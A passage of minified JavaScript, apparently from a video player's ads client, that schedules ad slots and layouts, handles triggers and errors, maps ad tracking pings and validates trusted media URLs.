Pq(u,"TRIGGER_CATEGORY_LAYOUT_EXIT_USER_INPUT_SUBMITTED",t.layoutExitUserInputSubmittedTriggers);Pq(u,"TRIGGER_CATEGORY_LAYOUT_EXIT_USER_CANCELLED",t.Aq)}catch(l){l instanceof th?x.dn(T,t,l,"ADS_CLIENT_ERROR_TYPE_SCHEDULE_LAYOUT_FAILED"):x.dn(T,t,new th("Unexpected error: "+l,void 0,"ADS_CLIENT_ERROR_MESSAGE_UNEXPECTED_ERROR"),"ADS_CLIENT_ERROR_TYPE_SCHEDULE_LAYOUT_FAILED");di(x,T,!0);return}RT(x.C,T).D=!0;try{var E=x.C,Z=RT(E,T),e=E.q0.BY.get(T.slotType).get().build(E.K,E.Z,T,t);e.init();Z.layout=
t;if(Z.j)throw new th("Already had LayoutRenderingAdapter registered for slot",void 0,"ADS_CLIENT_ERROR_MESSAGE_BUILD_DUPLICATE_LAYOUT_RENDERING_ADAPTER");Z.j=e;Sd(E,Z,"TRIGGER_CATEGORY_LAYOUT_EXIT_NORMAL",t.layoutExitNormalTriggers);Sd(E,Z,"TRIGGER_CATEGORY_LAYOUT_EXIT_USER_SKIPPED",t.layoutExitSkipTriggers);Sd(E,Z,"TRIGGER_CATEGORY_LAYOUT_EXIT_USER_MUTED",t.layoutExitMuteTriggers);Sd(E,Z,"TRIGGER_CATEGORY_LAYOUT_EXIT_USER_INPUT_SUBMITTED",t.layoutExitUserInputSubmittedTriggers);Sd(E,Z,"TRIGGER_CATEGORY_LAYOUT_EXIT_USER_CANCELLED",
t.Aq)}catch(l){cq(x,T);l instanceof th?x.dn(T,t,l,"ADS_CLIENT_ERROR_TYPE_SCHEDULE_LAYOUT_FAILED"):x.dn(T,t,new th("Unexpected error: "+l,void 0,"ADS_CLIENT_ERROR_MESSAGE_UNEXPECTED_ERROR"),"ADS_CLIENT_ERROR_TYPE_SCHEDULE_LAYOUT_FAILED");di(x,T,!0);return}x.NJ.kL("ADS_CLIENT_EVENT_TYPE_LAYOUT_SCHEDULED",T,t);u=g.S(x.Z);for(E=u.next();!E.done;E=u.next())E.value.LK(T,t);cq(x,T);YCH(x,T)}else x=x.Lf.get(),g.Yv(x.U.Y())||Un(x.U.Y())||g.bS(x.U.Y())?x=!0:(E3("Composite VOD on legacy path."),x=!1),x&&E3("slot is unscheduled after been fulfilled.",
T,t)}};
bP3=function(x,T,t){T.Yc!=="core"&&x.NJ.kL("ADS_CLIENT_EVENT_TYPE_LAYOUT_RECEIVED",T,t,void 0)};
rPD=function(x,T,t){x.NJ.kL("ADS_CLIENT_EVENT_TYPE_LAYOUT_SCHEDULED",T,t,void 0);x=g.S(x.Z);for(var u=x.next();!u.done;u=x.next())u.value.LK(T,t)};
z2v=function(x,T,t){x=g.S(x.Z);for(var u=x.next();!u.done;u=x.next())u.value.yl(T,t)};
ri=function(x,T,t){x.NJ.kL("ADS_CLIENT_EVENT_TYPE_LAYOUT_ENTERED",T,t,void 0);x=g.S(x.Z);for(var u=x.next();!u.done;u=x.next())u.value.bN(T,t)};
zZ=function(x,T,t,u){x.NJ.kL(APq(u),T,t,void 0);x=g.S(x.Z);for(var H=x.next();!H.done;H=x.next())H.value.Ts(T,t,u)};
cq=function(x,T){if(Ah(x.C,T)){RT(x.C,T).D=!1;var t=kv;T=RT(x.C,T);var u=[].concat(g.U(T.J));wXv(T.J);t(x,u)}};
kv=function(x,T){T.sort(function(I,E){function Z(e){E3("TriggerCategoryOrder enum does not contain trigger category: "+e)}
return I.category===E.category?I.trigger.triggerId.localeCompare(E.trigger.triggerId):dM4(I.category,Z)-dM4(E.category,Z)});
var t=new Map;T=g.S(T);for(var u=T.next();!u.done;u=T.next())if(u=u.value,Ah(x.C,u.slot))if(RT(x.C,u.slot).D)RT(x.C,u.slot).J.push(u);else{x.NJ.Vi("ADS_CLIENT_EVENT_TYPE_TRIGGER_ACTIVATED",u.slot,u,u.layout);var H=t.get(u.category);H||(H=[]);H.push(u);t.set(u.category,H)}T=g.S(kMv);for(u=T.next();!u.done;u=T.next())H=g.S(u.value),u=H.next().value,H=H.next().value,(u=t.get(u))&&F9m(x,u,H);(T=t.get("TRIGGER_CATEGORY_SLOT_EXPIRATION"))&&h23(x,T);(T=t.get("TRIGGER_CATEGORY_SLOT_FULFILLMENT"))&&vx3(x,
T);(t=t.get("TRIGGER_CATEGORY_SLOT_ENTRY"))&&V83(x,t)};
F9m=function(x,T,t){T=g.S(T);for(var u=T.next();!u.done;u=T.next())u=u.value,u.layout&&Fc(x.C,u.slot)&&GM4(x,u.slot,u.layout,t)};
h23=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next())di(x,t.value.slot,!1)};
vx3=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){t=t.value;a:switch(RT(x.C,t.slot).K){case "not_filled":var u=!0;break a;default:u=!1}u&&(x.NJ.jd("ADS_CLIENT_EVENT_TYPE_FULFILL_SLOT_REQUESTED",t.slot),x.C.Tf(t.slot))}};
V83=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){t=t.value;x.NJ.jd("ADS_CLIENT_EVENT_TYPE_ENTER_SLOT_REQUESTED",t.slot);for(var u=g.S(x.Z),H=u.next();!H.done;H=u.next())H.value.RT(t.slot);try{var I=x.C,E=t.slot,Z=RT(I,E);if(!Z)throw new w("Got enter request for unknown slot",void 0,"ADS_CLIENT_ERROR_MESSAGE_SLOT_STATE_IS_NULL");if(!Z.Z)throw new w("Tried to enter slot with no assigned slotAdapter",void 0,"ADS_CLIENT_ERROR_MESSAGE_NO_SLOT_ADAPTER_REGISTERED");if(Z.C!=="scheduled")throw new w("Tried to enter a slot from stage: "+
Z.C,void 0,"ADS_CLIENT_ERROR_MESSAGE_ILLEGAL_SLOT_STATE");if(hh(Z))throw new w("Got enter request for already active slot",void 0,"ADS_CLIENT_ERROR_MESSAGE_SLOT_COLLISION");for(var e=g.S(vq(I,E.slotType+"_"+E.slotPhysicalPosition).values()),l=e.next();!l.done;l=e.next()){var m=l.value;if(Z!==m&&hh(m))throw new w("Trying to enter a slot when a slot of same type is already active.",{activeSlotStatus:m.C},"ADS_CLIENT_ERROR_MESSAGE_DUPLICATE_SLOT");}}catch(d){d instanceof w&&d.Ta?(x.NJ.u3("ADS_CLIENT_ERROR_TYPE_ENTER_SLOT_FAILED",
d.Ta,t.slot),E3(d,t.slot,Vx(x.C,t.slot),void 0,d.r$)):(x.NJ.u3("ADS_CLIENT_ERROR_TYPE_ENTER_SLOT_FAILED","ADS_CLIENT_ERROR_MESSAGE_UNEXPECTED_ERROR",t.slot),E3(d,t.slot));di(x,t.slot,!0);continue}t=RT(x.C,t.slot);t.C!=="scheduled"&&GZ(t.slot,t.C,"enterSlot");t.C="enter_requested";t.Z.AV()}};
YCH=function(x,T){if(Ah(x.C,T)&&hh(RT(x.C,T))&&Vx(x.C,T)&&!Fc(x.C,T)){var t;x.NJ.kL("ADS_CLIENT_EVENT_TYPE_ENTER_LAYOUT_REQUESTED",T,(t=Vx(x.C,T))!=null?t:void 0);x=RT(x.C,T);x.C!=="entered"&&GZ(x.slot,x.C,"enterLayoutForSlot");x.C="rendering";x.j.startRendering(x.layout)}};
GM4=function(x,T,t,u){if(Ah(x.C,T)){var H=x.NJ,I=H.kL,E;var Z=((E=M8H.get(u))==null?void 0:E.tf)||"ADS_CLIENT_EVENT_TYPE_UNSPECIFIED";I.call(H,Z,T,t);x=RT(x.C,T);x.C!=="rendering"&&GZ(x.slot,x.C,"exitLayout");x.C="rendering_stop_requested";x.j.zy(t,u)}};
di=function(x,T,t){if(Ah(x.C,T)){a:switch(RT(x.C,T).C){case "exit_requested":var u=!0;break a;default:u=!1}if(!u)a:switch(RT(x.C,T).C){case "rendering_stop_requested":u=!0;break a;default:u=!1}if(u&&(RT(x.C,T).T=!0,!t))return;if(hh(RT(x.C,T)))RT(x.C,T).T=!0,L93(x,T,t);else{a:switch(RT(x.C,T).K){case "fill_requested":t=!0;break a;default:t=!1}if(t)RT(x.C,T).T=!0,Ah(x.C,T)&&(x.NJ.jd("ADS_CLIENT_EVENT_TYPE_CANCEL_SLOT_FULFILLMENT_REQUESTED",T),T=RT(x.C,T),T.K="fill_cancel_requested",T.N.q1());else{t=
Vx(x.C,T);(u=x.Lf.get().U.Y().experiments.aU("h5_enable_layout_unscheduling_events"))&&(t?x.yl(T,t):E3(Error("Layout is null for LayoutUnscheduled event."),T,t,void 0,!1));x.NJ.jd("ADS_CLIENT_EVENT_TYPE_UNSCHEDULE_SLOT_REQUESTED",T);var H=RT(x.C,T),I=T.slotEntryTrigger,E=H.uG.get(I.triggerId);E&&(E.aF(I),H.uG.delete(I.triggerId));I=g.S(T.slotFulfillmentTriggers);for(E=I.next();!E.done;E=I.next()){E=E.value;var Z=H.ZZ.get(E.triggerId);Z&&(Z.aF(E),H.ZZ.delete(E.triggerId))}I=g.S(T.slotExpirationTriggers);
for(E=I.next();!E.done;E=I.next())if(E=E.value,Z=H.S.get(E.triggerId))Z.aF(E),H.S.delete(E.triggerId);H.layout!=null&&(I=H.layout,LG(H,I.layoutExitNormalTriggers),LG(H,I.layoutExitSkipTriggers),LG(H,I.layoutExitMuteTriggers),LG(H,I.layoutExitUserInputSubmittedTriggers),LG(H,I.Aq));H.N=void 0;H.Z!=null&&(H.Z.release(),H.Z=void 0);H.j!=null&&(H.j.release(),H.j=void 0);H=x.C;RT(H,T)&&(H=vq(H,T.slotType+"_"+T.slotPhysicalPosition))&&H.delete(T.slotId);x.NJ.jd("ADS_CLIENT_EVENT_TYPE_SLOT_UNSCHEDULED",
T);x=g.S(x.Z);for(H=x.next();!H.done;H=x.next())H=H.value,H.BM(T),t&&!u&&H.yl(T,t)}}}};
L93=function(x,T,t){if(Ah(x.C,T)&&hh(RT(x.C,T))){var u=Vx(x.C,T);if(u&&Fc(x.C,T))GM4(x,T,u,t?"error":"abandoned");else{x.NJ.jd("ADS_CLIENT_EVENT_TYPE_EXIT_SLOT_REQUESTED",T);try{var H=RT(x.C,T);if(!H)throw new w("Cannot exit slot it is unregistered",void 0,"ADS_CLIENT_ERROR_MESSAGE_SLOT_WAS_UNREGISTERED");H.C!=="enter_requested"&&H.C!=="entered"&&H.C!=="rendering"&&GZ(H.slot,H.C,"exitSlot");H.C="exit_requested";if(H.Z===void 0)throw H.C="scheduled",new w("Cannot exit slot because adapter is not defined",
void 0,"ADS_CLIENT_ERROR_MESSAGE_NO_SLOT_ADAPTER_REGISTERED");H.Z.Vn()}catch(I){I instanceof w&&I.Ta?(x.NJ.u3("ADS_CLIENT_ERROR_TYPE_EXIT_SLOT_FAILED",I.Ta,T),E3(I,T,void 0,void 0,I.r$)):(x.NJ.u3("ADS_CLIENT_ERROR_TYPE_EXIT_SLOT_FAILED","ADS_CLIENT_ERROR_MESSAGE_UNEXPECTED_ERROR",T),E3(I,T))}}}};
nxf=function(x){this.slot=x;this.uG=new Map;this.ZZ=new Map;this.S=new Map;this.jY=new Map;this.j=this.layout=this.Z=this.N=void 0;this.D=this.T=!1;this.J=[];this.C="not_scheduled";this.K="not_filled"};
hh=function(x){return x.C==="enter_requested"||x.isActive()};
nG=function(x,T,t,u,H,I){g.W.call(this);this.q0=x;this.j=T;this.T=t;this.K=u;this.Z=H;this.Lf=I;this.C=new Map};
vq=function(x,T){return(x=x.C.get(T))?x:new Map};
RT=function(x,T){return vq(x,T.slotType+"_"+T.slotPhysicalPosition).get(T.slotId)};
axJ=function(x){var T=[];x.C.forEach(function(t){t=g.S(t.values());for(var u=t.next();!u.done;u=t.next())T.push(u.value.slot)});
return T};
Ah=function(x,T){return RT(x,T)!=null};
Fc=function(x,T){x=RT(x,T);if(T=x.layout!=null)a:switch(x.C){case "rendering":case "rendering_stop_requested":T=!0;break a;default:T=!1}return T};
Vx=function(x,T){(x=RT(x,T))?x.layout!=null&&!x.layout&&E3("Unexpected empty layout",T):E3("Unexpected undefined slotState",T);return(x==null?void 0:x.layout)||null};
aT=function(x,T,t){if(t.length==0)throw new w("No "+gx4.get(T)+" triggers found for slot.",void 0,Bp4(T));t=g.S(t);for(var u=t.next();!u.done;u=t.next())if(u=u.value,!x.q0.UC.get(u.triggerType))throw new w("No trigger adapter registered for "+T+" trigger of type: "+u.triggerType,void 0,"ADS_CLIENT_ERROR_MESSAGE_NO_TRIGGER_ADAPTER_REGISTERED_FOR_TYPE");};
Bp4=function(x){switch(x){case "TRIGGER_CATEGORY_SLOT_ENTRY":return"ADS_CLIENT_ERROR_MESSAGE_EMPTY_SLOT_ENTRY_TRIGGER";case "TRIGGER_CATEGORY_SLOT_EXPIRATION":return"ADS_CLIENT_ERROR_MESSAGE_EMPTY_SLOT_EXPIRATION_TRIGGER";case "TRIGGER_CATEGORY_SLOT_FULFILLMENT":return"ADS_CLIENT_ERROR_MESSAGE_EMPTY_SLOT_FULFILLMENT_TRIGGER";default:return"ADS_CLIENT_ERROR_MESSAGE_INVALID_TRIGGER"}};
Pq=function(x,T,t){t=g.S(t);for(var u=t.next();!u.done;u=t.next())if(u=u.value,!x.q0.UC.get(u.triggerType))throw new th("No trigger adapter registered for "+gx4.get(T)+" trigger of type: "+u.triggerType,void 0,"ADS_CLIENT_ERROR_MESSAGE_NO_TRIGGER_ADAPTER_REGISTERED_FOR_TYPE");};
Sd=function(x,T,t,u){u=g.S(u);for(var H=u.next();!H.done;H=u.next()){H=H.value;var I=x.q0.UC.get(H.triggerType);I.VX(t,H,T.slot,T.layout?T.layout:null);T.jY.set(H.triggerId,I)}};
LG=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){t=t.value;var u=x.jY.get(t.triggerId);u&&(u.aF(t),x.jY.delete(t.triggerId))}};
GZ=function(x,T,t){E3("Slot stage was "+T+" when calling method "+t,x)};
W9X=function(x){return gi(x.ZW).concat(gi(x.UC)).concat(gi(x.kf)).concat(gi(x.HV)).concat(gi(x.BY))};
gi=function(x){var T=[];x=g.S(x.values());for(var t=x.next();!t.done;t=x.next())t=t.value,t.KK&&T.push(t);return T};
Bq=function(x){g.W.call(this);var T=this;this.C=x;this.instance=null;this.addOnDisposeCallback(function(){g.IP(T.instance);T.instance=null})};
Wq=function(x){return new Bq(x)};
D9=function(x){g.W.call(this);this.C=x;this.Z=DM5(this)};
DM5=function(x){var T=new ed(function(t,u,H,I){return new nG(x.C.q0,t,u,H,I,x.C.Lf)},new Set(W9X(x.C.q0).concat(x.C.listeners)),x.C.NJ,x.C.Lf);
g.y(x,T);return T};
yx=function(x){this.C=x};
NN=function(x,T,t){Exf(x.C(),T,t)};
Jh=function(x,T,t,u){(x=x.C())||E3("Could not initiate a command router instance.");VP(x,T,t,u)};
CG=function(){this.listeners=new Set};
Qx=function(x){this.Lf=x};
yPJ=function(x,T){var t=T.bgp&&T.bgub,u=!!T.upb;T.siub&&T.scs&&(t||u)&&(u&&pG(x.Lf.get(),"html5_export_sodar_snapshot")?kw().then(function(H){H=H.snapshot.bind(H);g.DC("yt.abuse.playerAttLoaderRun",H);wDf(T.siub,T.scs,T.bgub,T.bgp,T.upb)}):wDf(T.siub,T.scs,T.bgub,T.bgp,T.upb))};
NpJ=function(x,T,t,u,H){this.callback=x;this.slot=T;this.Z=t;this.xx=u;this.Lf=H;this.C=null};
Cwm=function(x,T,t,u){x.C&&E3("Currently active request ongoing for slot. This should never happen",x.slot);x.C=T();x.C.then(function(H){x.C=null;u&&u(H);var I=H.WI?"LAYOUT_TYPE_THROTTLED_AD_BREAK_RESPONSE":"LAYOUT_TYPE_AD_BREAK_RESPONSE",E=x.Z.get(),Z=x.slot.slotId,e=qN(x.xx.get(),{slotId:x.slot.slotId,slotType:x.slot.slotType,slotPhysicalPosition:x.slot.slotPhysicalPosition,Yc:x.slot.Yc,slotEntryTrigger:x.slot.slotEntryTrigger,slotFulfillmentTriggers:x.slot.slotFulfillmentTriggers,slotExpirationTriggers:x.slot.slotExpirationTriggers}),
l=On(E.Z.get(),I,Z),m={layoutId:l,layoutType:I,Yc:"core"};H={layoutId:l,layoutType:I,uN:new Map,layoutExitNormalTriggers:[new JPv(E.C,Z)],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:new sn([new aH(H)]),FV:e(m)};UMH(x.callback,x.slot,H)},function(H){x.C=null;
t&&t();H instanceof Pd||MN(x.callback,x.slot,new w(H,void 0,"ADS_CLIENT_ERROR_MESSAGE_AD_BREAK_REQUEST_ERROR",!0),"ADS_CLIENT_ERROR_TYPE_FULFILL_SLOT_FAILED")})};
QYv=function(x){if(x.C==null)x.callback.xb(x.slot);else try{x.C.cancel(),x.C=null,x.callback.xb(x.slot)}catch(T){x.C=null,MN(x.callback,x.slot,new w(T,void 0,"ADS_CLIENT_ERROR_MESSAGE_CANCEL_SLOT_FULFILLMENT_FAILURE"),"ADS_CLIENT_ERROR_TYPE_CANCEL_FULFILL_SLOT_FAILED")}};
fG=function(x,T,t,u){!x&&(t===void 0?0:t)&&g.Vh(Error("Player URL validator detects invalid url. "+(u===void 0?"":u)+": "+T));return x};
wi=function(x,T){return T&&T.test(x)?!0:!1};
KG=function(x){return(x=pWv&&pWv.exec(x))?x[0]:""};
Xc=function(x){var T=T===void 0?!1:T;return fG(wi(x,OPq),x,T,"Trusted Stream URL")};
g.xm=function(x){var T=T===void 0?!1:T;return fG(wi(x,fxD),x,T,"Trusted Image URL")};
K95=function(x){var T=T===void 0?!1:T;return fG(wi(x,wWJ),x,T,"Trusted Promoted Video Domain URL")};
xSm=function(x){var T=T===void 0?!1:T;return fG(wi(x,XWJ),x,T,"Drm Licensor URL")};
oB5=function(x,T){T=T===void 0?!1:T;return fG(wi(x,TrH),x,T,"Captions URL")};
tbX=function(x){x=new g.Zr(x);g.j3(x,document.location.protocol);g.e3(x,document.location.hostname);document.location.port&&g.l6(x,document.location.port);return x.toString()};
T$=function(x){x=new g.Zr(x);g.j3(x,document.location.protocol);return x.toString()};
g.te=function(x,T,t){t=t===void 0?{}:t;this.start=x;this.end=T;this.active=!0;this.color="";this.pB=0;this.Z=s44++;this.id=t.id||"";this.priority=t.priority||9;this.visible=t.visible||!1;this.style=t.style||o7.AD_MARKER;this.namespace=t.namespace||"";if(x=t.color)x=x.toString(16),this.color="#"+Array(7-x.length).join("0")+x;this.tooltip=t.tooltip;this.icons=t.icons?t.icons.filter(function(u){return g.zu(u.thumbnails,function(H){return g.xm(H.url)})}):null;
this.visible=this.visible;this.style=this.style;this.start=this.start};
uKf=function(x){return x===-0x8000000000000?"BEFORE_MEDIA_START":x===0?"MEDIA_START":x===0x7ffffffffffff?"MEDIA_END":x===0x8000000000000?"AFTER_MEDIA_END":x.toString()};
$SV=function(x,T){switch(x.style){case o7.CHAPTER_MARKER:return T?8:5;case o7.AD_MARKER:return 6;case o7.TIME_MARKER:return Number.POSITIVE_INFINITY;default:return 0}};
g.uB=function(x,T){return x.start-T.start||x.priority-T.priority||x.Z-T.Z};
g.$m=function(x){return"crn_"+x};
g.Hv=function(x){return"crx_"+x};
iB=function(x,T,t,u,H,I,E,Z,e){this.slot=T;this.Z=t;this.RU=E;this.IU=Z;this.Iu=e;this.C=new NpJ(x,T,u,H,I)};
HKf=function(x){var T;(T=x.Iu)==null||T.get().vY(uS(x.slot.clientMetadata,"metadata_type_cue_point").identifier)};
I7=function(x,T,t,u,H,I){this.slot=T;this.C=t;this.Z=new NpJ(x,T,u,H,I)};
Eu=function(x,T){this.callback=x;this.slot=T};
qA=function(x,T){return Hq(x,T.yI,T.slotType)?!0:!1};
Zk=function(){};
ea=function(x,T,t,u,H,I,E){this.C=x;this.Z=T;this.xx=t;this.Lf=u;this.RU=H;this.IU=I;this.Iu=E};
lB=function(){};
iKm=function(x,T,t,u,H,I){this.callback=x;this.slot=T;this.layout=t;this.j=u;this.C=H;this.Z=I};
EBV=function(x){if(uS(x.slot.clientMetadata,"metadata_type_allow_pause_ad_break_request_slot_reschedule")){var T=IJm(x,x.slot);mx(x.C.get(),"OPPORTUNITY_TYPE_PAUSE_AD_BREAK_REQUEST_SLOT_RESCHEDULE",function(){return[T]})}};
qVX=function(x){if(uS(x.slot.clientMetadata,"metadata_type_prefetch_metadata")){var T=IJm(x,x.slot);mx(x.C.get(),"OPPORTUNITY_TYPE_PLAYER_RESPONSE_RECEIVED",function(){return[T]})}};
IJm=function(x,T){var t=d6(x.Z.get(),x.slot.slotType),u=Object,H=u.assign;x=x.slot;if(T.slotEntryTrigger){var I=T.slotId;var E=T.slotEntryTrigger;I=E.triggeringSlotId!=null&&E.triggeringSlotId===I?E.clone(t):E}else I=void 0;return H.call(u,{},x,{slotId:t,slotEntryTrigger:I,slotFulfillmentTriggers:ZKX(T.slotId,t,T.slotFulfillmentTriggers),slotExpirationTriggers:ZKX(T.slotId,t,T.slotExpirationTriggers)})};
ZKX=function(x,T,t){var u=[];t=g.S(t);for(var H=t.next();!H.done;H=t.next()){var I=u,E=I.push;var Z=x;var e=T;H=H.value;Z=H.triggeringSlotId!=null&&H.triggeringSlotId===Z?H.clone(e):H;E.call(I,Z)}return u};
g.MA=function(x,T){for(var t=g.S(Object.keys(T)),u=t.next(),H={};!u.done;H={placeholder:void 0},u=t.next())u=u.value,H.placeholder=T[u],x=x.replace(new RegExp("\\$"+u,"gi"),function(I){return function(){return I.placeholder}}(H));
return x};
j4X=function(x,T,t){this.C=x;this.slot=T;this.layout=t};
Ae=function(x,T,t){T.layoutId!==x.layout.layoutId?x.C.dn(x.slot,T,new th("Unknown layout received. Required LayoutId: "+x.layout.layoutId+("and LayoutType: "+x.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED"):t()};
R7=function(x,T,t,u){g.$B.call(this);this.callback=x;this.j=u;this.C=[];this.Z=new j4X(x,T,t)};
Sa=function(x,T,t,u,H,I,E,Z){u=u||uS(t.clientMetadata,I);x=Pv(x);var e=jL(function(){H.bN(T,t)});
Z.push(E(u,x,t.layoutId,{adsClientData:t.FV},function(){e()}))};
Ym=function(x,T,t,u,H,I,E,Z,e){if(T===x)if(e){if(e===Z.layoutId){a:{x=g.S(t.keys());for(T=x.next();!T.done;T=x.next())if(T=T.value,T.slotType==="SLOT_TYPE_PLAYER_BYTES"&&I===t.get(T).layoutId){t=!0;break a}t=!1}t?cv(u,1):H?H():E3("Tried to call engagePingCallback but it is null",E,Z)}}else E3("Companion AdUxClick received without a layoutId",E,Z)};
Uu=function(x){var T,t,u,H,I;return!((T=x.get("active_view_viewable"))==null||!T.length)||!((t=x.get("active_view_measurable"))==null||!t.length)||!((u=x.get("active_view_fully_viewable_audible_half_duration"))==null||!u.length)||!((H=x.get("audio_audible"))==null||!H.length)||!((I=x.get("audio_measurable"))==null||!I.length)};
bB=function(x){var T,t;return(t=x==null?void 0:(T=x.activeViewTracking)==null?void 0:T.trafficType)!=null?t:"ACTIVE_VIEW_TRAFFIC_TYPE_UNSPECIFIED"};
r6=function(x){var T,t;return new Map([["impression",x.impressionPings||[]],["error",x.errorPings||[]],["mute",x.mutePings||[]],["unmute",x.unmutePings||[]],["pause",x.pausePings||[]],["rewind",x.rewindPings||[]],["resume",x.resumePings||[]],["skip",x.skipPings||[]],["swipe",x.swipePings||[]],["close",x.closePings||[]],["progress",x.progressPings||[]],["clickthrough",x.clickthroughPings||[]],["fullscreen",x.fullscreenPings||[]],["active_view_viewable",x.activeViewViewablePings||[]],["active_view_measurable",
x.activeViewMeasurablePings||[]],["active_view_fully_viewable_audible_half_duration",x.activeViewFullyViewableAudibleHalfDurationPings||[]],["audio_audible",((T=x.activeViewTracking)==null?void 0:T.activeViewAudioAudiblePings)||[]],["audio_measurable",((t=x.activeViewTracking)==null?void 0:t.activeViewAudioMeasurablePings)||[]],["end_fullscreen",x.endFullscreenPings||[]],["channel_clickthrough",x.channelClickthroughPings||[]],["abandon",x.abandonPings||[]],["start",x.startPings||[]],["first_quartile",
x.firstQuartilePings||[]],["midpoint",x.secondQuartilePings||[]],["third_quartile",x.thirdQuartilePings||[]],["complete",x.completePings||[]],["unmuted_impression",x.unmutedImpressionPings||[]],["unmuted_error",x.unmutedErrorPings||[]],["unmuted_mute",x.unmutedMutePings||[]],["unmuted_unmute",x.unmutedUnmutePings||[]],["unmuted_pause",x.unmutedPausePings||[]],["unmuted_resume",x.unmutedResumePings||[]],["unmuted_close",x.unmutedClosePings||[]],["unmuted_progress",x.unmutedProgressPings||[]],["unmuted_clickthrough",
x.unmutedClickthroughPings||[]],["unmuted_fullscreen",x.unmutedFullscreenPings||[]],["unmuted_end_fullscreen",x.unmutedEndFullscreenPings||[]],["unmuted_abandon",x.unmutedAbandonPings||[]],["unmuted_start",x.unmutedStartPings||[]],["unmuted_first_quartile",x.unmutedFirstQuartilePings||[]],["unmuted_midpoint",x.unmutedSecondQuartilePings||[]],["unmuted_third_quartile",x.unmutedThirdQuartilePings||[]],["unmuted_complete",x.unmutedCompletePings||[]],["unmuted_skip",x.unmutedSkipPings||[]]])};
eJD=function(x){switch(x){case "abandon":return"unmuted_abandon";case "active_view_fully_viewable_audible_half_duration":return null;case "active_view_measurable":return null;case "active_view_viewable":return null;case "audio_audible":return null;case "audio_measurable":return null;case "channel_clickthrough":return null;case "clickthrough":return"unmuted_clickthrough";case "close":return"unmuted_close";case "companion_engagement":return null;case "complete":return"unmuted_complete";case "end_fullscreen":return"unmuted_end_fullscreen";
case "error":return"unmuted_error";case "first_quartile":return"unmuted_first_quartile";case "fullscreen":return"unmuted_fullscreen";case "impression":return"unmuted_impression";case "midpoint":return"unmuted_midpoint";case "mute":return"unmuted_mute";case "pause":return"unmuted_pause";case "progress":return"unmuted_progress";case "resume":return"unmuted_resume";case "rewind":return null;case "skip":return"unmuted_skip";case "swipe":return null;case "start":return"unmuted_start";case "third_quartile":return"unmuted_third_quartile";
case "unmute":return"unmuted_unmute";case "seek":return null;case "unmuted_abandon":case "unmuted_clickthrough":case "unmuted_complete":case "unmuted_end_fullscreen":case "unmuted_error":case "unmuted_first_quartile":case "unmuted_fullscreen":case "unmuted_impression":case "unmuted_midpoint":case "unmuted_mute":case "unmuted_pause":case "unmuted_close":case "unmuted_progress":case "unmuted_resume":case "unmuted_start":case "unmuted_third_quartile":case "unmuted_unmute":case "unmuted_skip":return null;
default:return null}};
z$=function(x,T,t,u,H){H=H===void 0?null:H;this.j=x;this.RU=T;this.layoutId=u;this.K=0;this.D=null;this.T=void 0;this.C=new Set;this.Z=Array.from(this.j.get("progress")||[]);this.Z.sort(function(I,E){return(I.offsetMilliseconds||0)-(E.offsetMilliseconds||0)});
this.N={adPlacementConfig:t,AZ:H}};
km=function(){return["metadata_type_ad_placement_config"]};
Pv=function(x){var T=x.RU.get();return Fv(T,x.N)};
vv=function(x,T,t){t=t===void 0?!1:t;x.C.has(T)?he(x,T,[]):x.W9(T,t)};
Vg=function(x,T,t){for(t=t===void 0?!1:t;x.K<x.Z.length;){var u=x.Z[x.K];if(u.offsetMilliseconds<=T||t)he(x,"progress",[u]),x.K++;else break}};
G$=function(x,T){return x.C.has(T)};
LH=function(x){return x.Z.every(function(T){return T.hasOwnProperty("offsetMilliseconds")})};
lJq=function(x,T,t){x.D=T;x.T=t};
he=function(x,T,t){var u;mSf(x.RU.get(),x.layoutId,T,t,(u=x.D)!=null?u:void 0,x.T)};
dS4=function(x,T,t,u,H){u9.call(this,"ads-engagement-panel-layout",x,T,t,u,H)};
nH=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.D=Z;this.KK=!0;this.K=null;this.T=uS(t.clientMetadata,"metadata_type_linked_player_bytes_layout_id");lS(this.jg(),this);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
Mbm=function(){var x=["metadata_type_ads_engagement_panel_layout_view_model","metadata_type_linked_player_bytes_layout_id"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_PANEL"]}};
A3J=function(x,T,t,u,H){u9.call(this,"banner-image",x,T,t,u,H)};
a7=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.D=Z;this.KK=!0;this.K=null;this.T=uS(t.clientMetadata,"metadata_type_linked_player_bytes_layout_id");lS(this.jg(),this);this.adPlacementConfig=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,this.adPlacementConfig,t.layoutId)};
RJV=function(){var x=["metadata_type_banner_image_layout_view_model","metadata_type_linked_player_bytes_layout_id"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_COMPANION_WITH_IMAGE"]}};
g6=function(x,T,t,u,H){u9.call(this,"action-companion",x,T,t,u,H)};
Bv=function(x,T,t,u,H,I,E,Z){R7.call(this,x,T,t,u);this.RU=H;this.jg=I;this.D=Z;this.KK=!0;this.K=null;this.T=uS(t.clientMetadata,"metadata_type_linked_player_bytes_layout_id");lS(this.jg(),this);x=uS(t.clientMetadata,"metadata_type_ad_placement_config");this.eY=new z$(t.uN,this.RU,x,t.layoutId)};
P9m=function(){var x=["metadata_type_action_companion_ad_renderer","metadata_type_linked_player_bytes_layout_id"];km().forEach(function(T){x.push(T)});
return{yI:x,jV:["LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON"]}};
SVC=function(x,T,t,u,H){u9.call(this,"image-companion",x,T,t,u,H)};
